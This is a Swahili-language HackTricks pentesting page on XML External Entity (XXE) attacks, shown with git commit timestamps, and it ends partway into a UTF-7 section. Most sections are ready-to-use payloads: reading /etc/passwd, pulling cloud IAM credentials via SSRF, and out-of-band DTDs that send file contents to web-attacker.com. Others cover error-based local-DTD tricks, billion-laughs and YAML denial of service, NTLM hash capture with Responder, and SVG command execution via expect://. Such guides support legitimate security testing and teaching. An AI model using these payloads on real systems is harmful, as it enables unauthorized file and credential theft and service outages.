hacktricks/pentesting-web/xxe-xee-xml-external-entity.md

708 lines
36 KiB
Markdown
Raw Normal View History

# XXE - XEE - XML External Entity
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-02-03 14:45:32 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Misingi ya XML
XML ni lugha ya alama iliyoundwa kwa uhifadhi na usafirishaji wa data, ikionyesha muundo mpana unaoruhusu matumizi ya vitambulisho vilivyopewa majina ya kuelezea. Inatofautiana na HTML kwa kutokuwa na kikomo cha vitambulisho vilivyopangwa mapema. Umuhimu wa XML umepungua na kuibuka kwa JSON, licha ya jukumu lake la awali katika teknolojia ya AJAX.
* **Uwakilishaji wa Data kupitia Entiti**: Entiti katika XML inawezesha uwakilishaji wa data, ikiwa ni pamoja na herufi maalum kama vile `&lt;` na `&gt;`, ambazo zinafaanana na `<` na `>` ili kuepuka mgongano na mfumo wa vitambulisho vya XML.
* **Kuainisha Elementi za XML**: XML inaruhusu ufafanuzi wa aina za elementi, ikielezea jinsi elementi zinavyopaswa kuwa na muundo na yaliyomo wanayoweza kuwa nayo, kutoka aina yoyote ya yaliyomo hadi elementi maalum za watoto.
* **Ufafanuzi wa Aina ya Nyaraka (DTD)**: DTD ni muhimu katika XML kwa kuainisha muundo wa nyaraka na aina za data inaweza kuwa nayo. Wanaweza kuwa ndani, nje, au mchanganyiko, kuongoza jinsi nyaraka zinavyopangwa na kuhakikiwa.
* **Entiti za Kibinafsi na za Nje**: XML inasaidia uundaji wa entiti za kibinafsi ndani ya DTD kwa uwakilishaji wa data wenye mabadiliko. Entiti za nje, zilizoainishwa na URL, zinazua wasiwasi wa usalama, hasa katika muktadha wa mashambulio ya XML External Entity (XXE), ambayo yanatumia jinsi wapangaji wa XML wanavyoshughulikia vyanzo vya data vya nje: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
* **Uchunguzi wa XXE kwa Kutumia Entiti za Parameta**: Kwa kugundua udhaifu wa XXE, hasa wakati njia za kawaida zinashindwa kutokana na hatua za usalama za wapangaji, entiti za parameta za XML zinaweza kutumika. Entiti hizi huruhusu mbinu za uchunguzi nje ya mtandao, kama vile kuzindua uchunguzi wa DNS au maombi ya HTTP kwa kikoa kilichodhibitiwa, kuthibitisha udhaifu.
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
2024-02-11 02:13:58 +00:00
## Mashambulizi Makuu
[**Mashambulizi mengi haya yalijaribiwa kwa kutumia maabara ya kushangaza ya Portswiggers XEE: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### Jaribio la Entiti Mpya
Katika shambulio hili, ninajaribu kama tangazo rahisi la ENTITI mpya linavyofanya kazi
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
2024-02-11 02:13:58 +00:00
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
```
2024-02-11 02:13:58 +00:00
### Soma faili
2024-02-11 02:13:58 +00:00
Hebu jaribu kusoma `/etc/passwd` kwa njia tofauti. Kwa Windows unaweza kujaribu kusoma: `C:\windows\system32\drivers\etc\hosts`
Katika kesi hii ya kwanza, tafadhali kumbuka kwamba SYSTEM "_\*\*file:///\*\*etc/passwd_" pia itafanya kazi.
2024-02-06 03:10:38 +00:00
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```
![](<../.gitbook/assets/image (86).png>)
Kesi ya pili inaweza kuwa na manufaa kutoa faili ikiwa mtandao wa wavuti unatumia PHP (Sio kesi ya maabara za Portswiggers)
2024-02-06 03:10:38 +00:00
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
Katika kesi hii ya tatu, tafadhali kumbuka kwamba tunatangaza `Element stockCheck` kama ANY.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
2024-02-11 02:13:58 +00:00
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
```
![](<../.gitbook/assets/image (753).png>)
### Orodha ya directory
2021-08-03 11:46:59 +00:00
Katika maombi yaliyojengwa kwa **Java** inaweza kuwa inawezekana **kuorodhesha maudhui ya directory** kupitia XXE na mzigo kama huu (kuuliza tu kwa directory badala ya faili):
2024-02-06 03:10:38 +00:00
```xml
2021-08-03 11:46:59 +00:00
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
```
2022-09-30 10:43:59 +00:00
### SSRF
2024-02-11 02:13:58 +00:00
XXE inaweza kutumika kudhuru SSRF ndani ya wingu
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```
### SSRF ya Kipofu
Kwa kutumia **njia iliyotajwa hapo awali** unaweza kufanya server ufikie server unayodhibiti ili kuonyesha kuwa ni dhaifu. Lakini, ikiwa hiyo haifanyi kazi, labda ni kwa sababu **vitengo vya XML haviruhusiwi**, katika kesi hiyo unaweza jaribu kutumia **vitengo vya parameta za XML**:
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
### "Blind" SSRF - Kutoboa data nje ya mpangilio
**Katika tukio hili tutafanya server kupakia DTD mpya na mzigo wa hatari ambao utatuma maudhui ya faili kupitia ombi la HTTP (kwa faili zenye mistari mingi unaweza kujaribu kuitoa kupitia \_ftp://**\_ kwa kutumia server huu wa msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**maabara ya Portswiggers hapa**](https://portswigger.net/web-security/xxe/blind)**.**
Katika DTD hatari iliyotolewa, hatua kadhaa zinafanywa kutoa data:
### Mfano wa DTD Hatari:
Muundo ni kama ifuatavyo:
2024-02-05 02:29:11 +00:00
```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```
Hatua zilizotekelezwa na DTD hii ni pamoja na:
1. **Ufafanuzi wa Vipengele vya Parameta:**
* Kipengele cha parameta cha XML, `%file`, kinaundwa, kusoma maudhui ya faili `/etc/hostname`.
* Kipengele kingine cha parameta cha XML, `%eval`, kinafafanuliwa. Kinaanzisha kwa kudai kipengele kipya cha parameta cha XML, `%exfiltrate`. Kipengele cha `%exfiltrate` kinaelekezwa kufanya ombi la HTTP kwa seva ya muhusika, kupitisha maudhui ya kipengele cha `%file` ndani ya mfuatano wa query wa URL.
2. **Utekelezaji wa Vipengele:**
* Kipengele cha `%eval` kinatumika, kusababisha utekelezaji wa kipengele cha parameta cha `%exfiltrate` kilichotangazwa kwa kudai.
* Kipengele cha `%exfiltrate` kisha hutumika, kuzindua ombi la HTTP kwa URL iliyotajwa na maudhui ya faili.
Mshambuliaji huanzisha DTD hii yenye nia mbaya kwenye seva chini ya udhibiti wao, kawaida kwa URL kama `http://web-attacker.com/malicious.dtd`.
**Mzigo wa XXE:** Ili kutumia programu iliyodhoofika, mshambuliaji hutoa mzigo wa XXE:
2024-02-05 02:29:11 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
### Kosa Kulingana (DTD ya Kigeni)
**Katika kesi hii tutafanya server iweke DTD mbaya ambayo itaonyesha maudhui ya faili ndani ya ujumbe wa kosa (hii ni sahihi tu ikiwa unaweza kuona ujumbe wa kosa).** [**Mfano kutoka hapa.**](https://portswigger.net/web-security/xxe/blind)
Ujumbe wa kosa wa kuchambua XML, ukiweka wazi maudhui ya faili ya `/etc/passwd`, unaweza kuzinduliwa kwa kutumia Msimbo wa Aina ya Hatua ya Nje (DTD) mbaya. Hii inafanikishwa kupitia hatua zifuatazo:
1. Kifaa cha XML kinachoitwa `faili` kinafafanuliwa, ambacho kina maudhui ya faili ya `/etc/passwd`.
2. Kifaa cha XML kinachoitwa `tathmini` kinafafanuliwa, kikiingiza tangazo la kudai la kifaa kingine cha XML kinachoitwa `kosa`. Kifaa hiki cha `kosa`, wakati wa kutathminiwa, jaribu kupakia faili isiyopo, kikiingiza maudhui ya kifaa cha `faili` kama jina lake.
3. Kifaa cha `tathmini` kinaitwa, kusababisha tangazo la kudai la kifaa cha `kosa`.
4. Kuwaita kifaa cha `kosa` kunasababisha jaribio la kupakia faili isiyopo, kuzalisha ujumbe wa kosa ambao unajumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili.
DTD mbaya ya nje inaweza kuitwa kwa kutumia XML ifuatayo:
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
### **Kulingana na Kosa (system DTD)**
Kwa hivyo, ni nini kuhusu udhaifu wa XXE wa kipofu wakati **mwingiliano wa nje wa kikoa umefungwa** (mawasiliano ya nje hayapatikani)?.
Hitilafu katika maelezo ya lugha ya XML inaweza **kufunua data nyeti kupitia ujumbe wa kosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Shida hii inaruhusu upya wa ndani wa viungo vilivyotangazwa kwa nje, kurahisisha utekelezaji wa mashambulizi ya XXE yanayotokana na kosa. Mashambulizi kama hayo hufaidika na upya wa kipengele cha XML, kilichotangazwa awali katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati mwingiliano wa nje unazuiliwa na seva, wadukuzi lazima wategemee faili za DTD za ndani kufanya shambulio, wakilenga kusababisha kosa la uparaganyaji kufunua habari nyeti.
Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD kwa `/usr/local/app/schema.dtd`, ikidefiniisha kipengele kinachoitwa `custom_entity`. Mshambuliaji anaweza kusababisha kosa la uparaganyaji wa XML kufunua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD ya mchanganyiko kama ifuatavyo:
2024-02-04 16:10:29 +00:00
```xml
<!DOCTYPE foo [
2024-02-11 02:13:58 +00:00
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```
2024-02-11 02:13:58 +00:00
Hatua zilizoelezwa zinatekelezwa na DTD hii:
* Ufafanuzi wa kipengele cha parameter cha XML kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa seva.
* Ubadilishaji unatokea kwa kipengele cha parameter cha XML kinachoitwa `custom_entity`, kilichoelezwa awali katika DTD ya nje, ili kufunga [shambulio la XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ubadilishaji huu umepangwa kusababisha kosa la uchambuzi, kufunua maudhui ya faili ya `/etc/passwd`.
* Kwa kutumia kipengele cha `local_dtd`, DTD ya nje inatumika, ikijumuisha kipengele kilichofafanuliwa kwa mara ya kwanza cha `custom_entity`. Mfululizo huu wa hatua unasababisha kutolewa kwa ujumbe wa kosa uliolengwa na shambulio.
**Mfano wa ulimwengu wa kweli:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi ina DTD kwenye `/usr/share/yelp/dtd/docbookx.dtd` inayojumuisha kipengele kinachoitwa `ISOamso`
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
2024-02-11 02:13:58 +00:00
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
![](<../.gitbook/assets/image (625).png>)
Kwa kuwa mbinu hii inatumia **DTD ya ndani unahitaji kwanza kupata moja inayofaa**. Unaweza kufanya hivi **kwa kusakinisha** **OS / Programu** ile ile ambayo seva inatumia na **kutafuta DTD za msingi**, au **kupata orodha** ya **DTD za msingi** ndani ya mifumo na **kuangalia** kama moja kati yao ipo:
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
Kwa maelezo zaidi angalia [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
2024-02-11 02:13:58 +00:00
### Kupata DTDs ndani ya mfumo
2021-05-01 17:36:21 +00:00
Katika repo ya github ya kushangaza ifuatayo unaweza kupata **njia za DTDs zinazoweza kuwepo katika mfumo**:
2021-05-01 17:36:21 +00:00
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
2021-05-01 17:36:21 +00:00
Zaidi ya hayo, ikiwa una **picha ya Docker ya mfumo wa mwathiriwa**, unaweza kutumia zana ya repo hiyo hiyo kufanya **skani** ya **picha** na **kupata** njia za **DTDs** zilizopo ndani ya mfumo. Soma [Readme ya github](https://github.com/GoSecure/dtd-finder) kujifunza jinsi.
2021-05-01 17:36:21 +00:00
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
2024-02-11 02:13:58 +00:00
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
2021-05-01 17:36:21 +00:00
Testing 0 entities : []
2024-02-11 02:13:58 +00:00
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
2021-05-01 17:36:21 +00:00
Testing 0 entities : []
```
### XXE kupitia Wapambanuzi wa XML wa Ofisi ya Open XML
2021-05-01 17:36:21 +00:00
Kwa maelezo zaidi kuhusu shambulio hili, **angalia sehemu ya pili ya** [**chapisho hili la kushangaza**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **kutoka Detectify**.
Uwezo wa **kupakia hati za Microsoft Office unatolewa na programu nyingi za wavuti**, ambazo kisha huendelea kutoa maelezo fulani kutoka kwa hati hizi. Kwa mfano, programu ya wavuti inaweza kuruhusu watumiaji kuagiza data kwa kupakia karatasi ya muundo wa XLSX. Ili kipambanuzi uweze kutoa data kutoka kwenye karatasi, itabidi bila shaka iparishe angalau faili moja ya XML.
Ili kujaribu udhaifu huu, ni muhimu kuunda **faili ya Microsoft Office inayojumuisha mzigo wa XXE**. Hatua ya kwanza ni kuunda saraka tupu ambayo hati inaweza kufunguliwa.
Baada ya hati kufunguliwa, faili ya XML iliyoko kwenye `./unzipped/word/document.xml` inapaswa kufunguliwa na kuhaririwa kwenye mhariri wa maandishi unaopendelewa (kama vile vim). XML inapaswa kuhaririwa ili kujumuisha mzigo wa XXE unaotakiwa, mara nyingi ukiwa na ombi la HTTP.
Mistari iliyohaririwa ya XML inapaswa kuingizwa kati ya vitu viwili vya mizizi ya XML. Ni muhimu kubadilisha URL na URL inayoweza kufuatiliwa kwa maombi.
Hatimaye, faili inaweza kufungwa ili kuunda faili ya poc.docx yenye nia mbaya. Kutoka kwenye saraka iliyoundwa hapo awali "unzipped", amri ifuatayo inapaswa kutumika:
Sasa, faili iliyoundwa inaweza kupakiwa kwenye programu ya wavuti inayoweza kuwa na udhaifu, na mtu anaweza kutumai ombi litatokea kwenye magogo ya Burp Collaborator.
2024-02-11 02:13:58 +00:00
### Itifaki ya Jar
2021-05-01 17:36:21 +00:00
Itifaki ya **jar** inapatikana kipekee ndani ya **programu za Java**. Imetengenezwa kuruhusu ufikiaji wa faili ndani ya kiunzi cha **PKZIP** (k.m., `.zip`, `.jar`, n.k.), ikilenga faili za ndani na za mbali.
```
2021-05-01 17:36:21 +00:00
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
Ili kuweza kupata faili ndani ya faili za PKZIP ni **muhimu sana kudanganya XXE kupitia faili za DTD za mfumo.** Angalia [sehemu hii kujifunza jinsi ya kudanganya faili za DTD za mfumo](xxe-xee-xml-external-entity.md#error-based-system-dtd).
2021-05-01 17:36:21 +00:00
{% endhint %}
Mchakato wa kupata faili ndani ya kiwango cha PKZIP kupitia itifaki ya jar unajumuisha hatua kadhaa:
2021-05-01 17:36:21 +00:00
1. Ombi la HTTP linatolewa kupakua kiwango cha zip kutoka mahali maalum, kama vile `https://download.website.com/archive.zip`.
2. Majibu ya HTTP yanayohusisha kiwango hicho hukusanywa kwa muda kwenye mfumo, kawaida kwenye eneo kama `/tmp/...`.
3. Kiwango hicho kisha hukunjuliwa ili kupata maudhui yake.
4. Faili maalum ndani ya kiwango hicho, `file.zip`, inasomwa.
5. Baada ya operesheni, faili za muda zilizoundwa wakati wa mchakato huu hufutwa.
2021-05-01 17:36:21 +00:00
Mbinu ya kuvuruga mchakato huu katika hatua ya pili inajumuisha kuweka uhusiano wa seva ukiwa wazi milele wakati wa kutumikia faili ya kiwango. Zana zilizopo kwenye [hifadhi hii](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) zinaweza kutumika kwa madhumuni haya, ikiwa ni pamoja na seva ya Python (`slow_http_server.py`) na seva ya Java (`slowserver.jar`).
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
2021-05-01 17:36:21 +00:00
{% hint style="danger" %}
Kuandika faili katika saraka ya muda inaweza kusaidia **kuongeza ukiukaji mwingine wa usalama unaohusisha upitishaji wa njia** (kama vile kuingiza faili za ndani, kuingiza templeti, XSLT RCE, uhariri wa data, nk).
2021-05-01 17:36:21 +00:00
{% endhint %}
2022-09-30 10:43:59 +00:00
### XSS
2024-02-06 03:10:38 +00:00
```xml
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
```
2022-09-30 10:43:59 +00:00
### DoS
#### Shambulizi la Bilioni ya Kicheko
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```
#### Shambulizi la Yaml
2024-02-06 03:10:38 +00:00
```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
#### Shambulio la Kupanuka Kwa Kikwadratiki
![](<../.gitbook/assets/image (527).png>)
2024-02-11 02:13:58 +00:00
#### Kupata NTML
Kwenye mwenyeji wa Windows, inawezekana kupata hash ya NTML ya mtumiaji wa seva ya wavuti kwa kuweka kikundi cha responder.py:
2024-02-06 03:10:38 +00:00
```bash
Responder.py -I eth0 -v
```
2024-02-11 02:13:58 +00:00
na kwa kutuma ombi lifuatalo
2024-02-06 03:10:38 +00:00
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
## Vipande vya XXE vilivyofichwa
2022-09-30 10:43:59 +00:00
### XInclude
Wakati unapoingiza data ya mteja kwenye nyaraka za XML upande wa seva, kama vile zile katika maombi ya SOAP ya nyuma, udhibiti wa moja kwa moja juu ya muundo wa XML mara nyingi huwa mdogo, ukizuia mashambulizi ya kawaida ya XXE kutokana na vizuizi vya kuhariri kipengele cha `DOCTYPE`. Hata hivyo, shambulio la `XInclude` hutoa suluhisho kwa kuruhusu uingizaji wa vitengo vya nje ndani ya kipengele chochote cha data ya nyaraka ya XML. Mbinu hii ni yenye ufanisi hata wakati sehemu tu ya data ndani ya nyaraka ya XML iliyozalishwa na seva inaweza kudhibitiwa.
Ili kutekeleza shambulio la `XInclude`, jina la nafasi ya `XInclude` lazima itangazwe, na njia ya faili kwa kipengele cha nje kilichokusudiwa lazima itajwe. Hapa chini ni mfano wa kifupi jinsi shambulio kama hilo linaweza kuundwa:
2024-02-04 16:10:29 +00:00
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
2024-02-11 02:13:58 +00:00
Angalia [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) kwa maelezo zaidi!
### SVG - Kupakia Faili
2024-02-04 16:10:29 +00:00
Faili zilizopakiwa na watumiaji kwenye programu fulani, ambazo kisha hupitishwa kwenye seva, zinaweza kutumia mapungufu katika jinsi XML au muundo wa faili unaofaa XML unavyoshughulikiwa. Miundo ya faili ya kawaida kama nyaraka za ofisi (DOCX) na picha (SVG) inategemea XML.
Wakati watumiaji **wanapopakia picha**, picha hizi hupitishwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia miundo kama PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni muundo unaotegemea XML, inaweza kutumiwa na wachomaji kutekeleza picha za SVG zenye nia mbaya, hivyo kuweka seva wazi kwa mapungufu ya XXE (XML External Entity).
Mfano wa shambulio kama hilo unapatikana hapa chini, ambapo picha ya SVG yenye nia mbaya inajaribu kusoma faili za mfumo:
2024-02-04 16:10:29 +00:00
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Metoda nyingine inahusisha kujaribu **kutekeleza amri** kupitia PHP "expect" wrapper:
2024-02-04 16:10:29 +00:00
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
2024-02-11 02:13:58 +00:00
<image xlink:href="expect://ls"></image>
</svg>
```
Katika visa vyote, muundo wa SVG hutumiwa kuzindua mashambulizi yanayotumia uwezo wa usindikaji wa XML wa programu ya seva, ikisisitiza umuhimu wa ukaguzi thabiti wa data na hatua za usalama.
2024-02-04 16:10:29 +00:00
2024-02-11 02:13:58 +00:00
Angalia [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) kwa maelezo zaidi!
**Tafadhali kumbuka kwamba mstari wa kwanza wa faili iliyosomwa au matokeo ya utekelezaji utaonekana NDANI ya picha iliyoundwa. Kwa hivyo, unahitaji kuweza kupata picha ambayo SVG imeunda.**
### **PDF - Kuleta faili**
2020-10-15 13:16:06 +00:00
Soma chapisho lifuatalo kujifunza jinsi ya kutumia XXE kupakia faili ya PDF:
2020-10-15 13:16:06 +00:00
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
{% endcontent-ref %}
2020-10-15 13:16:06 +00:00
### Aina ya Yaliyomo: Kutoka x-www-urlencoded hadi XML
Ikiwa ombi la POST linakubali data katika muundo wa XML, unaweza jaribu kutumia XXE katika ombi hilo. Kwa mfano, ikiwa ombi la kawaida lina yafuatayo:
2024-02-06 03:10:38 +00:00
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
```
Kisha unaweza kuwasilisha ombi lifuatalo, na matokeo sawa:
2024-02-06 03:10:38 +00:00
```xml
2020-11-17 16:58:54 +00:00
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```
### Aina-ya-Yaliyomo: Kutoka JSON hadi XEE
Ili kubadilisha ombi unaweza kutumia Kifaa cha Burp kinachoitwa "**Mbadala wa Aina ya Yaliyomo**". [Hapa](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) unaweza kupata mfano huu:
2024-02-06 03:10:38 +00:00
```xml
Content-Type: application/json;charset=UTF-8
2020-11-20 10:55:52 +00:00
{"root": {"root": {
2024-02-11 02:13:58 +00:00
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
```
2024-02-06 03:10:38 +00:00
```xml
Content-Type: application/xml;charset=UTF-8
2020-11-20 10:55:52 +00:00
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
2024-02-11 02:13:58 +00:00
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
2024-02-11 02:13:58 +00:00
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
```
2024-02-11 02:13:58 +00:00
Mfano mwingine unaweza kupatikana [hapa](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
## WAF & Mipito ya Kinga
2022-09-30 10:43:59 +00:00
### Base64
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
Hii inafanya kazi tu ikiwa seva ya XML inakubali itifaki ya `data://`.
2022-09-30 10:43:59 +00:00
### UTF-7
